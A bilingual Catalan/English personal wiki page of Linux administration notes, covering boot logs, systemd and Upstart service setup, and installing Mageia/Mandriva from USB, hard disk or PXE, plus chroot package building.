UNIX / Linux
Seccions d'aquesta pàgina 39
- 01General
- 02Linux
- 03Embedded Linux
- 04Kernel
- 05Boot
- 06GNU
- 07Distribucions / Distributions
- 08Gestió de paquets / Package management
- 09Gestió de parcs d'ordinadors / Cluster management
- 10Linux en portàtils / on notebooks
- 11Bluetooth
- 12Còpies de seguretat / Back up
- 13Cygwin (UNIX on MSWindows)
- 14Dispositius / Devices
- 15Documentació / Documentation
- 16Impressió / Printing
- 17IrDA
- 18Maquinari / Hardware
- 19So / Sound
- 20PAM (Pluggable Authentication Modules)
- 21Programari / Software
- 22Biblioteques compartides / Shared libraries
- 23Desenvolupament / Development
- 24Ncurses
- 25Targetes gràfiques / Graphics cards
- 26Gràfics / Graphics
- 27X-Window System
- 28Captures de pantalla / Screencast
- 29DirectFB
- 30Publicacions / Publications
- 31Seguretat / Security
- 32Shell
- 33Sistema de fitxers / File systems
- 34SGI Linux
- 35Usuaris i grups / Users and groups
- 36Variables d'entorn / Environment variables
- 37Llengua / Language (i18n, l10n)
- 38Data / Date
- 39Xarxes / Networks
01General#
- Linux update HOWTO
- UNIX Unleashed
- UNIX Insider
- Comparative UNIX System Overview
- Wikipedia
- Publicacions / Publications
- Linux Magazine
- Medialinx AG (account)
- Linux Magazine
- UNIX-FAQ
- UNIX Tutorial
- Unix tips
- Silicon Graphics
- Sergi Tur Wiki
02Linux#
- Linux home page (.org)
- Linux.com
- Linux Links
- Linux Standard Base - LSB
- Tux
- Linux at EPFL
- Linux on Sunsite
- Switch FTP
- John's Linux related stuff
- Linux 2.0 (català)
- Planeta Linux
- Linux España
- Punto Linux
- Caliu (Associació d'usuaris de GNU/Linux en llengua catalana)
- Puntbarra
- llista linux-l UAB
- Linux Foundation
- Linux stickers
- Recursos de Linux
- El rincón de Linux
- Proyecto Lucas
- Linux at zorg.org
- O'Reilly Linux
- Linux USB
- devfs FAQ
- Linuxquestions
- Softcatalà Linux
- Some Linux for beginners
- Linux User Caricatures
- Linux Labs
- Alphabetical Directory of Linux Commands
- Linux Professional Institute
- Tux penguin
- Linux Terminal server Project (LTSP)
- Linux reset forgotten root password
- Linux-PAM
- Unix power tools
- Top 6 Linux and BSD graphical installation programs
- Ten things I wish I knew when becoming a Linux admin
03Embedded Linux#
04Kernel#
- kernel.org
- FAQ - Comment passer des arguments/options au noyau ?
- Linux Kernel 2.6: the Future of Embedded Computing (Linux Journal)
- Linux kernel archive
- mandrivalinux 9.0 RC1 and P4B533 MB
- 2.4.19: no DMA for IDE with Intel i845e
- syscalls
- modules (
/lib/modules)- Linux Module and Device Driver
- three questions about modules
- dkms (Dell)
- gestió / management
lsmodrmmodmodprobe
- Migrating to Linux kernel 2.6 -- Part 5: Migrating apps to the 2.6 kernel and NPTL
- preemption
- Linux Scheduler Latency
- Guest editorial: Preemptible Linux -- a reality check
- multimedia kernel (Mandriva)
- kernel options (
/usr/src/linux/.config)- CONFIG_PREEMPT
- CONFIG_HZ (frequency
of the timer interrupt)
- jiffy / jiffies (vs GetTickCount (Linux impl))
- Changing the default hertz
- Realtime
- CK kernel patches (*)
- Compile kernel
- Kernel Comparison for Linux (2.6.20) versus Windows (2003 R2)
- Processos / Processes
- Life cicle of a process (Linuxuser)
- nice (wp)
- shell
05Boot#
- Background image
- Mini Howto: Lilo with an animated graphics menu
- Vesafb mini-HOWTO
- Bootsplash
- The Linux BootPrompt-HowTo
- gui boot screen
- Bootchart
- Linux install/boot from:
from info distribution installation examples
Mandriva / Mageia Debian USB key - UNetbootin
(from any live distribution)
- urpmi p7zip
- How to generate bootable USB keys with simple-cd
- The SYSLINUX Project
- Boot from USB keys (ARMD)
- GParted Live on USB (syslinux >= 3.60)
- Usual procedure:
- option 1:
- mkdosfs /dev/sdX1; syslinux /dev/sdX1
- then, one of the following:
- copy all files:
- mount /dev/sdX1 /media/usb/
- cp vmlinuz initrd /media/usb/
- or flash image:
- dd if=all.img of=/dev/sdX1
- copy all files:
- option 2 (one of the following):
- zcat boot.img.gz > /dev/sdX
- dd if=mandriva_xxx.iso of=/dev/sd
x - Mandriva seed
- distribution files can be:
- files on network
- ISO on either:
- the same USB key (see Debian example)
- HDD (see Mandriva example)
- option 1:
x x Disc dur / HDD
x
PXE
x
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- UNetbootin
(from any live distribution)
- Boot sequence:
installation files from
installer files (vmlinuz; initrd or all.rdz) at
ISO image second-stage boot-loader boot using: remote filesystem CD/DVD USB key existing /boot remote filesystem CD/DVD USB key other HDD partition syslinux CD/DVD
x
NFS x x x USB key
x
x x GRUB/LILO Existing GRUB/LILO
x
x x
PXE x (tftp?)
NFS
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Elements:
- Logs
- 20
Linux
Log Files that are Located under /var/log Directory
- dmesg
- in recent systems, replaced by:
journalctl -f
- in recent systems, replaced by:
- /var/log/messages
- in recent systems, replaced by:
journalctl -f
- in recent systems, replaced by:
- last
last rebootlast -xlast -x shutdown
- Log de l'inici
(consola) / Initial log (console)
more /var/log/prcsys.log
- rsyslog
- /etc/rsyslog.conf
- journald
- /etc/systemd/journald.conf
[Journal]
Storage=auto
SystemMaxUse=50M- auto => if /var/log/journal exists, it writes to it; if not, writes to volatile /run/log/journal
systemctl status systemd-journald.service- usage:
journalctl- Using
journalctl
- Entre dates / Between dates
journalctl --since "2025-12-23 00:00:00" --until "2025-12-23 23:59:59"- Previous boots
- setup
journalctl --list-bootsjournalctl --boot=-1
- setup
journalctl --disk-usage- Remove files (keep only 200MB)
journalctl --vacuum-size=200M
- Set maximum disk usage to 200MB
- /etc/systemd/journald.conf
[Journal]SystemMaxUse=200M
Storage=auto
- /etc/systemd/journald.conf
- Neteja / Cleanup
- How To Clear The systemd journal Logs
- Passos / Steps
sudo journalctl --rotatesudo journalctl --vacuum-time=1s
- Services
journalctl -xejournalctl -u nginx- journalctl --since="5 days ago" -u nginx
- crontab
journalctl --since yesterday SYSLOG_IDENTIFIER=CROND
- Using
journalctl
- /etc/systemd/journald.conf
- Preserve logs from
previous boots
- How
display
log messages from previous boots under CentOS 7?
mkdir /var/log/journal
systemd-tmpfiles --create --prefix /var/log/journal
systemctl restart systemd-journald- Warnings on Alma8 when running systemd-tmpfiles:
[/usr/lib/tmpfiles.d/pesign.conf:1] Line references path below legacy directory /var/run/, updating /var/run/pesign → /run/pesign; please update the tmpfiles.d/ drop-in file accordingly.
- How
display
log messages from previous boots under CentOS 7?
- 20
Linux
Log Files that are Located under /var/log Directory
- runlevels
/ targets (wp)
- configuration of default runlevel / target
- systemd
- get the current default target
systemctl get-default
- set the default target:
systemctl set-default multi-user.target- a symlink will be created:
/etc/systemd/system/default.target -> /usr/lib/systemd/system/multi-user.target
- get the current default target
- old fashioned:
- /etc/inittab
- systemd
- set the runlevel / target:
- ...
- Login
- Personalització / Customize
- /etc/issue
- Customizing your Logon with /etc/issue
- IP address
- Show IP address of VM as console pre-login message
- CentOS
- add the following line at almost the end
of file
/etc/sysconf/network-scripts/ifup-post
# add ip address to login prompt
echo $(ip -o -f inet address | awk '$2 !~ /lo/ {gsub(/\/24/,"",$4);print $4; exit;}') >>/etc/issue
exit 0
- add the following line at almost the end
of file
/etc/sysconf/network-scripts/ifup-post
- /etc/issue
- Personalització / Customize
- Serveis
/ Services
- Exemples / Examples
- Daemons
- Running bash commands in the background properly
- supervisord (a
process control system)
- toto.conf
- [program:toto_program]
...
- [program:toto_program]
- start
- supervisord -c toto.conf
- status
- supervisorctl -c toto.conf status
- stop
- supervisorctl -c toto.conf stop toto_program
- shut down
- supervisorctl -c toto.conf shutdown
- toto.conf
- Info
-
SysV init systemd Upstart chkconfig service update-rc insserv
used by - Mageia (old)
- Mageia (old)
- Debian
- Debian (old)
- Ubuntu (old)
- Debian (new)
- Mageia (new)
- CentOS
- Debian (new)
- Ubuntu (new)
config dir /etc/[rc.d/]rc?.d/[SK]DDnom_servei->../init.d/nom_servei /etc/insserv.conf /etc/systemd/system/
- multi-user.target.wants/
- ...
script /etc/[rc.d/]init.d/nom_servei (/etc/init.d/skeleton)
/usr/lib/systemd/system/nom_servei.service /etc/init/nom_servei.conf once start
service nom_servei start /etc/init.d/nom_servei start
systemctl start nom_servei.service
systemctl start nom_servei@....service
sudo [initctl] stop nom_servei stop
service nom_serve stop /etc/init.d/nom_servei stop
systemctl stop nom_servei.service sudo [initctl] start nom_servei status
service nom_servei status /etc/init.d/nom_servei status
systemctl status nom_servei.service sudo [initctl] status nom_servei restart
service nom_servei restart /etc/init.d/nom_servei restart
systemctl restart nom_servei.service sudo [initctl] restart nom_servei reload
systemctl reload nom_servei.service sudo [initctl] reload nom_servei list all
service --status-all
systemctl status sudo initctl list at boot do start chkconfig nom_servei on
update-rc.d nom_servei enable
update-rc.d nom_servei defaultsinsserv nom_servei systemctl enable nom_servei.service sudo rm /etc/init/nom_servei.override do not start chkconfig nom_servei off
update-rc.d nom_servei disable
systemctl disable nom_servei.service sudo sh -c "echo 'manual' > /etc/init/nom_servei.override" list chkconfig
systemctl
check whether it is enabled
systemctl is-enabled nom_servei.service
mask -
ln -s /dev/null /etc/systemd/system/nom_servei.service
systemctl daemon-reload
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- SysV init (wp)
- Run script on start-up
- /etc/rc5.d/S99rc.local -> ../init.d/rc.local
- /etc/rc.local
#!/bin/sh -e
call_to_my_script ...
exit 0
- Eines / Tools
- Chapter 15: Controlling access to services (CentOS)
- chkconfig
- utilitats
[/sbin/]chkconfig --listchkconfig --level 35 httpd on- Problemes / Problems
- Ubuntu 12.04 64bit /sbin/insserv: No such file or directory
- Solució / Solution
- ln -s /usr/lib/insserv/insserv /sbin/insserv
- utilitats
- update-rc.d
- update-rc.d (Ubuntu manpage)
- insserv
- How-To: Managing services with update-rc.d
- example for a new service:
/etc/init.d/skeleton
- rcconf (ncurses)
- sysv-rc-conf (ncurses)
- ntsysv
- jobs-admin (GUI)
- Run script on start-up
- systemd
(wp)
(replacement for
chkconfigandservice)- man
- systemd.service
- Options
- TimeoutStartSec=
- ...
- unit options
- Options
- systemd.exec
- ...
- systemd.service
- Systemd en Mageia 2
- general view
systemctl- systemctl list-unit-files --type service
- long lines
systemctl -l
- graph, hierarchy tree
- Displaying the Execution Tree of systemd
- systemd-analyze
systemd-analyzesystemd-analyze critical-chainsystemd-analyze critical-chain --fuzz=1msystemd-analyze plot >unit_chain.svg- systemd-analyze dot | dot -Tsvg >dependency_graph.svg
- systemctl
systemctl status- systemctl status multi-user.target
systemctl show -p Requires,Wants,Requisite,BindsTo,PartOf,Before,After my.service- systemctl list-dependencies
- systemctl list-dependencies cloud-init.target
- tree
- tree /etc/systemd/system
- fitxers / files:
/lib/systemd//etc/systemd/
- start
systemctl start <nom_servei>.service- templated
service
systemctl start <nom_servei>@<param>.service- e.g. memcached
- debugging
journalctl -u my_servicejournalctl -xe- to prevent the line from being truncated:
- journalctl --no-pager ...
- increase debug level:
- /etc/systemd/system.conf
LogLevel=debug
systemctl daemon-reload- systemctl start ...
journalctl -u my_service
- /etc/systemd/system.conf
- circular dependencies
systemd[1]: multi-user.target: Found ordering cycle on ...- generic methodology to debug ordering cycles in systemd
- Start
service after AWS user-data has run
[Unit]
After=cloud-init.target
DefaultDependencies=no
...
- ...
- reload modified scripts
systemctl daemon-reload
WantedBy- Why do most systemd examples contain WantedBy=multi-user.target?
- ? si un servi té
WantedBy=multi-user.target, el target no es donarà per assolit fins que el servei arrenqui correctament. Si el servei no arrenca correctament, altres serveis que depenen de multi-user.target, per exemple cloud-final.service, no arrencaran
- condicional / conditional
- respawn
- Auto-recovery of crashed services with systemd
[Service]
...
Restart=on-failure
RestartSec=5s
- /var/run
-
Type
description
example
simple
default type
[Service]
Type=simple
ExecStart=/path/to/script
forking
process in ExecStart is expected to call fork()
[Service]
Type=forking
PIDFile=...pid
ExecStart=/path/to/auto_forked_process
oneshot
process do something and ends.
In order to avoid the service to finish, add RemainAfterExit
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/path/to/script_that_do_something_and_ends
dbus
[Service]
Type=dbusnotify
[Service]
Type=notify
ExecStart=/path/to/process_that_launches_sd_notify
idle
[Service]
Type=idle
ExecStart=/path/to/process
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- What is the difference between Systemd Service Type oneshot and simple
- logs
[Service]
StandardOutput=append:/var/log/...
StandardError=append:/var/log/...
- dependency on NFS
mounted dirs:
- [systemd-devel] RequiresMountsFor and the noauto option.
- Note: an entry for /mnt/nfs must exist in /etc/fstab
[Unit]
RequiresMountsFor=/mnt/nfs[Unit]
Requires=mnt-nfs.mount
- Glob expansion in ExecStart, ExecStartPre
- Bug 710055 - RFE: expand globs in ExecStart and friends arguments
- /usr/lib/systemd/system/nginx.service
[Service]
...
# create dirs for upload (if PrivateTmp=true, they will be created inside the private /tmp)
ExecStartPre=/bin/sh -c '/bin/mkdir /tmp/{0..9}; chmod 777 -R /tmp/{0..9}'
- SELinux
- to run rsync inside an ExecStart or ExecStop:
setsebool - P rsync_full_access=1
- to run rsync inside an ExecStart or ExecStop:
- Run script on start-up
- Example 2: oneshot service
- how do I run a command at startup with systemd?
- Exemples / Examples
- hdparm
- nginx.service
- Celery
- CentOS
/usr/local/bin/my_script_on_boot.sh#!/bin/bash
...
exit 0
- IMPORTANT: do not forget the shebang (
#!/bin/bash)
/usr/lib/systemd/system/my_service_on_boot.service[Unit]
Description=Description of my service
After=syslog.target network.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/my_script_on_boot.sh
[Install]
WantedBy=multi-user.target
- IMPORTANT:
/tmpdirectory is created by systemctl and is not shared with regular /tmp
- Run script before shutdown
- Option 1:
- How do I run a script before everything else on shutdown with systemd?
- systemd-halt.service
/usr/lib/systemd/system-shutdown/my_script_on_shutdown.sh
- Option 2:
- How to run a script with systemd right before shutdown?
- [SOLVED] Run script on systemd shutdown and reboot
- When booting, the ExecStart is called. When
shutting down, the ExecStop is called.
RemainAfterExit is needed in order to not to
execute the ExecStop after successful execution
of ExecStart (/bin/true immediately returns 0)
/usr/local/bin/my_script_on_shutdown.sh#!/bin/bash
...
exit 0
/usr/lib/systemd/system/my_service_on_shutdown.service[Unit]
Description=...
Before=shutdown.target
[Service]
Type=oneshot
ExecStart=/bin/true
RemainAfterExit=true
ExecStop=/usr/local/bin/my_script_on_shutdown.sh
[Install]
WantedBy=multi-user.target
#WantedBy=shutdown.target
- Debug:
- create, enable and start service
- activate journalctl to be persistant
rebootjournalctl -b -1 -u my_service_on_shutdown
- Option 1:
- man
- Upstart
(replacement for /sbin/init)
- Upstart intro, cookbook and best practises
- Stanzas
- /etc/init/toto.conf
- Running programs as Linux daemons using Upstart
- Manual service / (permanent enable/disable)
- examples
- nginx
- toto
- /usr/local/bin/toto.sh
#!/bin/bash
i=0
echo "---principi"
while test $i -le 5
do
date
sleep 2
let i=$i+1
done
echo "---final"
- /usr/local/bin/launch_toto.sh
#!/bin/bash
/usr/local/bin/toto.sh
- /etc/init/toto.conf
description "toto service"
start on runlevel [2345]
stop on runlevel [!2345]
pre-start script
# prepare environment
mkdir -p /var/run/toto
end script
post-stop script
# clean up
rm -rf /var/run/toto
end script
#expect fork
respawn
exec /usr/local/bin/launch_toto.sh
- /usr/local/bin/toto.sh
- cvlc
- /usr/local/bin/launch_cvlc.sh
#!/bin/bash
sudo -u ubuntu /usr/bin/cvlc -I telnet --http-port=8888 &
exit 0
- /etc/init/cvlc.conf
description "cvlc daemon"
start on (filesystem and net-device-up IFACE=lo)
stop on runlevel [!2345]
env DAEMON=/usr/local/bin/launch_cvlc.sh
env PID=/var/run/clvc.pid
exec $DAEMON
- /usr/local/bin/launch_cvlc.sh
- usage
sudo start cvlcsudo stop cvlcsudo status cvlcsudo initctl list
- logs
/var/log/upstart/cvlc.log
06GNU#
07Distribucions / Distributions#
- Per a saber quina distribució hi ha instal·lada / To see which
distribution is installed:
lsb_release -alsb_release -i | awk -F: '{print $2}' | tr -d '\t'- fitxers relacionats / related files:
/etc/lsb-release
- Detection of Linux distribution inside a bash script
- Building distributions
- LWM distributions list
- Linux ISO (totes les distribucions / all distributions)
- Budget Linux CSs (2$/CD)
- Mageia
- Mageia Installation Media
- Mageia Bugzilla
- i18n
(català)
- LANGUAGE
- General
-
git transifex report
software - ...
web - page-5
- page-*
translation report Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Applications
- List of Mageia transifex projects (correspondance Transifex - SVN)
- Web site
- Documentation
- How to write and translate Mageia doc
- [i18n-disc
uss] translatin g installer- help and mcc-help - docteam.mageia.nl
- git
- Tools
- Git usage for i10n and doc
- Translating with Lokalize
- SVN Commiter guide
- SVN for translators
- Transifex: Mageia localization
- Old Transifex
- Howto: string translation (svn,...)
msgfmt -c ca.posvn commit -m "Updated Catalan translation"
- build
urpmi intltoolsvn co svn://svn.mageia.org/svn/soft/drakx-net/trunk/ drakx-netcd drakx-netmake
/usr/share/locale/ca/LC_MESSAGES/drakx-net.mo- ...
- git
- svn
- Mageia Subversion
- Mageia App Db
- Repositoris / Repositories
- Mageia App Db
version=7.1(Migrate from Mandriva)
[ARCH=x86_64]
[ARCH=i586] # to force another architecture
urpmi.addmedia --distrib --mirrorlist http://mirrors.mageia.org/api/mageia.${version}.${ARCH}.list- Blogdrake
(*)
urpmi.addmedia --wget --distrib ftp://ftp.blogdrake.net/mageia/mageia1/i586
- MLO (Mageia Linux Online)
- Mageia App Db
- Mageia 9
- ksysguard ara és plasma-systemmonitor
dnf install plasma-systemmonitor- NetworkManager
- Mageia 6
- Problemes / Problems
- No apareixen els marcs de les finestres / No
window frames nor decoration
- Bug 22115 - Kwin missing at login
- Solució / Solution
kwin_x11 --replace
- Solució / Solution
- from another user:
journalctl -f
mv ~/.local ~/.local_vellmv ~/.config ~/.config_vell
- from another user:
- No apareixen els marcs de les finestres / No
window frames nor decoration
- Problemes / Problems
- Mageia
4
- Maquinari / Hardware
- Nvidia GTX 660M
- gtk-config: Tema / Theme
- Uniform Look for Qt and GTK Applications
urpmi kde-gtk-config- Arranjament del sistema ->
Aparença de les aplicacions -> GTK
- GTK2 theme: oxygen-gtk Nodoka (per a evitar problemes amb Kompozer i Bluegriffon / to avoid problems with Kompozer and Bluegriffon)
- GTK3 theme: oxygen-gtk
- /etc/gtk-2.0/gtkrc
- Problemes / Problems
- akonadi
- neponuk / virtuoso
- Bugs
- Bug 12734
- Corrupted menus in Kompozer
(and Bluegriffon)
- reconfigureu
el tema gtk:
- GTK2: trieu-ne un que no sigui oxygen-gtk (per exemple Nodoka) / choose one theme different from oxygen-gtk (e.g. Nodoka)
- reconfigureu
el tema gtk:
- consells foscos i illegibles a KDE / dark and unreadable tooltips in KDE
- Bug 12734
- Corrupted menus in Kompozer
(and Bluegriffon)
- Maquinari / Hardware
- Mageia 3
- Mouse
hover
info: background dark (consells foscos i
illegibles a KDE / dark and unreadable tooltips in KDE)
- Solució / Solution
- Arranjament del sistema -> Aparença de les
aplicacions -> Colors -> Colors ->
Consell -> Fons normal: #FF8000 (255,128,0)
- es desa al fitxer / saved on file:
- ~/.kde4/share/config/kdeglobals
- [Colors:Tooltip]
BackgroundNormal=255,128,0
- [Colors:Tooltip]
- ~/.kde4/share/config/kdeglobals
- es desa al fitxer / saved on file:
- Arranjament del sistema -> Aparença de les aplicacions -> Colors -> Opcions -> Aplica els colors a les aplicacions no-KDE4
- Arranjament del sistema -> Aparença de les
aplicacions -> Colors -> Colors ->
Consell -> Fons normal: #FF8000 (255,128,0)
- Solució / Solution
- Mageia 3 errata
Failed to load module "canberra-gtk-module"- Bug 3536
- Solució / Solution
urpmi lib64canberra-gtk0
- Problemes amb l'escàner USB / Problems with USB
scanner
- Bug 12147 - some USB devices fails to connect with xhci_hcd (plugging usb devices worked on mga3)
- sane-backends and USB 3.0
- No scanners were identified
- Canon CanoScan N670U (04a9:220d Canon, Inc. CanoScan N670U/N676U/LiDE 20)
- Canon CanoScan LiDE 100 on Ubuntu or Debian Linux
- Solució /
Solution
- xhci_hcd, I hate you (USB 3.0 and Primesense/Asus Xtion)
- use USB 2.0 (ehci_hcd) instead of 3.0
(xhci_hcd):
- BIOS:
- XHCI Pre-Boot Mode: Disabled
- /etc/modprobe.d/blacklist-xhci_hcd.conf
- blacklist xhci_hcd
- /etc/modules
- ehci_hcd
- BIOS:
- Mouse
hover
info: background dark (consells foscos i
illegibles a KDE / dark and unreadable tooltips in KDE)
- Mageia 2
- systemd
- akonadi
akonadictl stop~/.config/akonadi/akonadiserverrcStartServer=false
- Plafó (barra de tasques) clàssic, en lloc del nou plafó de només icones
(*):
- Sobre la part dreta del plafó de baix de tot,
premeu el botó dret:
- Opcions de plafó -> Afegeix un plafó -> Mageia Classic Panel
- Elimineu el plafó de només icones:
- Sobre la part dreta del plafó de només icones:
- Suprimeix aquesta instància de miniaplicació (Plafó)
- Sobre la part dreta del plafó de només icones:
- Porteu el nou plafó cap a la part inferior:
- Opcions de plafó -> Arranjament del plafó -> Vora de la pantalla
- Sobre la part dreta del plafó de baix de tot,
premeu el botó dret:
- Temes / Themes
urpmi gtk-chtheme gnome-themes-standard gnome-themes-extras
gtk-chtheme- Unity
- Incidències / Issues
- Bugs
ItemFactory couldn't retrieve widget it just created at /usr/sbin/draknfs line 574.
Perl's trace:
standalone::bug_handler() called from /usr/sbin/draknfs:574- Workaround:
export LANGUAGE="en"; mcc
- Workaround:
ItemFactory couldn't retrieve widget it just created at /usr/sbin/draksambashare line 1359.
Perl's trace:
standalone::bug_handler() called from /usr/sbin/draksambashare:1359
- Mageia 1
- Problemes de maquinari
/ Hardware
problems
- Mandriva
- Àudio / Audio
- Volum massa alt / Volume too loud
- Sandy
Bridge HDMI sound output
aplay -l; [aplay -L]card 0: PCH [HDA Intel PCH], device 7: HDMI 1 [HDMI 1]
- /etc/pulse/default.pa
load-module module-alsa-sink device=hw:0,7
- Problemes de maquinari
/ Hardware
problems
- Install
/ boot from:
- Installation media
- USB key (Mandriva)
- Dump Mageia ISO on a USB flash drive?
dd if=Mageia-X-x86_64-DVD.iso of=/dev/sd(x) bs=1M- el dispositiu de destinació (
/dev/sd(x)) es pot determinar amblsblk
- el dispositiu de destinació (
- Disc dur / HDD
(Mandriva)
- In a working linux machine, we assume:
- /dev/sda1 -> /
- /dev/sda6 -> /home
- /dev/sdb1 -> /disc
mv mageia.iso /disc; cd /discmkdir /mnt/isomount -t iso9660 -o ro,loop mageia.iso /mnt/isocp /mnt/iso/isolinux/x86_64/all.rdz /boot/all-mageia.rdzcp /mnt/iso/isolinux/x86_64/vmlinuz /boot/vmlinuz-all-mageia/boot/grub/menu.lst:title install-mageia
kernel (hd1,0)/boot/vmlinuz-all-mageia root=/dev/ram3 ramdisk_size=32000 vga=791
initrd (hd1,0)/boot/all-mageia.rdz- note:
- (hd0,0) maps to /dev/sda1
- (hd0,5) maps to /dev/sda6
- (hd1,0) maps to /dev/sdb1
- (hd1,5) maps to /dev/sdb6
- ...
- reboot
- Install from: Hard disk
- select disk: sdb6
- select directory: (empty)
- select file: mageia.iso
- In a working linux machine, we assume:
- PXE
(*)
urpmi pxe dhcp-server drakwizard- Configure DHCP
- Mageia Control Centre -> Network Services -> Configure DHCP
- [If you have more than one NIC, select eth0 or
th1 and check that it appears correctly at
dhcpd.conf]:
DHCPD_INTERFACE = "eth1";
- Habilita PXE: checked
- Mount Mageia ISO:
mkdir /mnt/isomount -o loop mageia-dvd-1-i586.iso /mnt/iso
- drakpxelinux
- PXE configuration
- Paths:
- TFTP directory:
/var/lib/tftpboot/ - Boot image:
/var/lib/tftpboot/X86PC/linux/images/ - PXE config:
/etc/pxe.conf - PXE help:
/var/lib/tftpboot/X86PC/linux/help.txt
- TFTP directory:
- Profile: Default
- Add a PXE entry (specified files will be
copied and renamed to
/var/lib/tftpboot/X86PC/linux/images/)
- Path to all.rdz:
/mnt/iso/i586/isolinux/alt0/all.rdz - Path to vmlinuz:
/mnt/iso/i586/isolinux/alt0/vmlinuz
- Path to all.rdz:
- Paths:
- [bug]: check that the network interface
specified in /etc/pxe.conf is the right one:
interface=eth1service pxe restart
- Firewall: check that tftp is allowed (e.g. Allow everything)
- PXE configuration
- NFS
configuration:
- Configure NFS with MCC
(or
manually):
- Network share -> Share using NFS
/etc/exports/mnt/iso/ 10.16.2./4(sync)
exportfs -ashowmount -e
- Configure NFS with MCC
(or
manually):
- Mageia installation:
- Method: NFS
- Network connection type: fixed
- Hostname and domain name: (leave empty)
- NFS server name: <server_ip_address>
- Mageia directory: /mnt/iso
- Instal·lació a chroot
/ Install to chroot
- Chroot
mkdir -p /mnt/chroot/mageiaurpmi.addmedia --distrib --urpmi-root /mnt/chroot/mageia ftp://ftp.yourftpmirrorofchoice.com/path/to/the/Cauldron/arch-dir/urpmi --urpmi-root /mnt/chroot/mageia basesystem urpmi locales-en task-gnomechroot /mnt/chroot/mageia- ...
- exit
- Packagers Chroot
su
version=7.1- version=cauldron
- arch=i586
- arch=x86_64
chroot_dir=/mnt/chroot/mageia_${version}_${arch}- What you need
mkdir -p ${chroot_dir}- add media for target distribution
repo=ftp://ftp.free.fr/mirrors/mageia.org # get it from https://mirrors.mageia.org/urpmi.addmedia --distrib --urpmi-root${chroot_dir}${repo}/distrib/${version}/${arch}
# add your specific locales: e.g. locales-ca for Catalan
urpmi --urpmi-root${chroot_dir}basesystem urpmi locales-en locales-ca syslinux
- Minimal configuration
cp /etc/resolv.conf${chroot_dir}/etc/resolv.confmount -o bind /proc${chroot_dir}/proc
- Building packages
chroot${chroot_dir}urpmi rpm rpm-build spec-helper libtool rpmlint- build as usual, with rpmbuild:
- install dependencies
urpmi rpm-build task-c-devel task-c++-devel bm
- create dirs:
mkdir -p ~/rpmbuild/{BUILD,BUILDROOT,RPMS/i586,RPMS/x86_64,RPMS/noarch,SOURCES,SRPMS,SPECS,tmp}
- find src package to be installed (e.g.
*works*; htop):
- get all packages with a fuzzy (-y)
match to the given expression:
urpmq -a -y worksurpmq -a -y htop
- from one of the results (e.g.
textworks; htop):
- package_name=texworks
- package_name=htop
src_package=$(urpmq -i ${package_name} | grep "Source RPM" | awk -F: '{gsub(/ /,"",$2);print $2}' )- echo ${src_package}
- get all packages with a fuzzy (-y)
match to the given expression:
- get src package:
cd ~/rpmbuild/SRPMS/repo=ftp://ftp.free.fr/mirrors/mageia.org- version=7.1
- wget ${repo}/distrib/${version}/SRPMS/core/release/${src_package}
- install src package (files will be put in
~/rpmbuild/SOURCES, ~/rpmbuild/SPECS)
- rpm -ivh ${src_package}
- install specific dependencies to build the
package:
-
cd ~/rpmbuild/SPECS - urpmi ${package_name}.spec
-
- optionally, modify source, e.g. with a
patch (SPEC Header
section) (htop example contains a
patch; wine uses wine-staging):
- download or create patches in ~/rpmbuild/SOURCES
- reference them in
~/rpmbuild/SPECS/${package_name}.spec- Patch0
...
Patch1 ...
...
patch ...
patch1 ...
- Patch0
...
- build packages (-bb: build only binary
packages; -ba: build binary and source
packages) for your default arch:
rpmbuild -ba ${package_name}.spec
- get created packages:
-
ls -ltr ~/rpmbuild/RPMS/${arch}/${package_name}*
-
- Testing
an RPM:
- aaa
- install dependencies
- iurt
- auto builds
- Chroot
- MCC
Centre de control de Mageia / Mageia Control Centre
urpmi drakwizard-base(install .pm files to /usr/lib/perl5/vendor_perl/5.12.3/MDK/Wizard/)- apache (Compartició -> Configura el servidor Web)
- ...
urpmi drakwizard- Seguretat / Security
- Problemes / Problems
- Finestra buida / Blank window
- Bug 30332 - webkit2 >=2.36, drakconf comes up with a blank window on both arches on real hardware and in VirtualBox guests for some graphics driver/settings
- Solució / Solution
- assegureu-vos que la targeta gràfica
funciona:
- glxinfo
- no us ha de retornar «
Error: couldn't find RGB GLX visual or fbconfig»
- no us ha de retornar «
- glxinfo
- assegureu-vos que la targeta gràfica
funciona:
- Finestra buida / Blank window
- Backup
- Mandriva:
OpenMandriva Mandrivalinux (mandrakelinux)
- Download
- Mandriva Wiki
- Boot from:
- USB key
- Installation
from
a USB stick (to put a live iso or install
iso [hybrid] on a USB stick)
dd if=mandriva_xxx.iso of=/dev/sdx- or use Mandriva seed (*)
- Installation
from
a local mirror, hard disk, local network, or
the Internet
urpmi mbr dosfstools syslinux- make a partition
mkdosfs /dev/sdb1syslinux /dev/sdb1install-mbr /dev/sdb- copy the image
- method 1:
mount /dev/sdb1 /mnt/memory_keycp vmlinuz initrd.img /mnt/memory_key
- method 2:
dd if=all.img of=/dev/sda1
- method 1:
- Mandriva Cooker
- Installing
(boot from USB key) (loop
device)
mount -o loop mandriva_xxx.iso/mnt/mandriva_dvd
- Installation
from
a USB stick (to put a live iso or install
iso [hybrid] on a USB stick)
- Disc dur / HDD (Booting
the
installer directly from a hard disk - Linux method)
- In a working linux machine, we assume:
- /dev/sda6 -> /
- /dev/sda8 -> /home
mv mandriva.iso /homemkdir /mnt/isomount -t iso9660 -o ro,loop /home/mandriva.iso /mnt/isocp /mnt/iso/i586/isolinux/alt0/all.rdz /boot/all-mageia.rdzcp /mnt/iso/i586/isolinux/alt0/vmlinuz /boot/vmlinuz-all-mageia/boot/grub/menu.lst:title install-mageia
kernel (hd0,5)/boot/vmlinuz-all-mageia root=/dev/ram3 ramdisk_size=32000 vga=791
initrd (hd0,5)/boot/all-mageia.rdz- note:
- (hd0,5) maps to /dev/sda6
- (hd1,6) maps to /dev/sdb7
- ...
- reboot
- Install from: Hard disk
- select disk: sda8
- select directory: (empty)
- select file: mandriva.iso
- In a working linux machine, we assume:
- PXE
(Mageia)
- Installing
Mandriva
Linux with PXE
- Note: does not work with One distribution.
- Installing
Mandriva
Linux with PXE
- Install from kernel-tmb
- USB key
- Empaquetació
/ Packaging
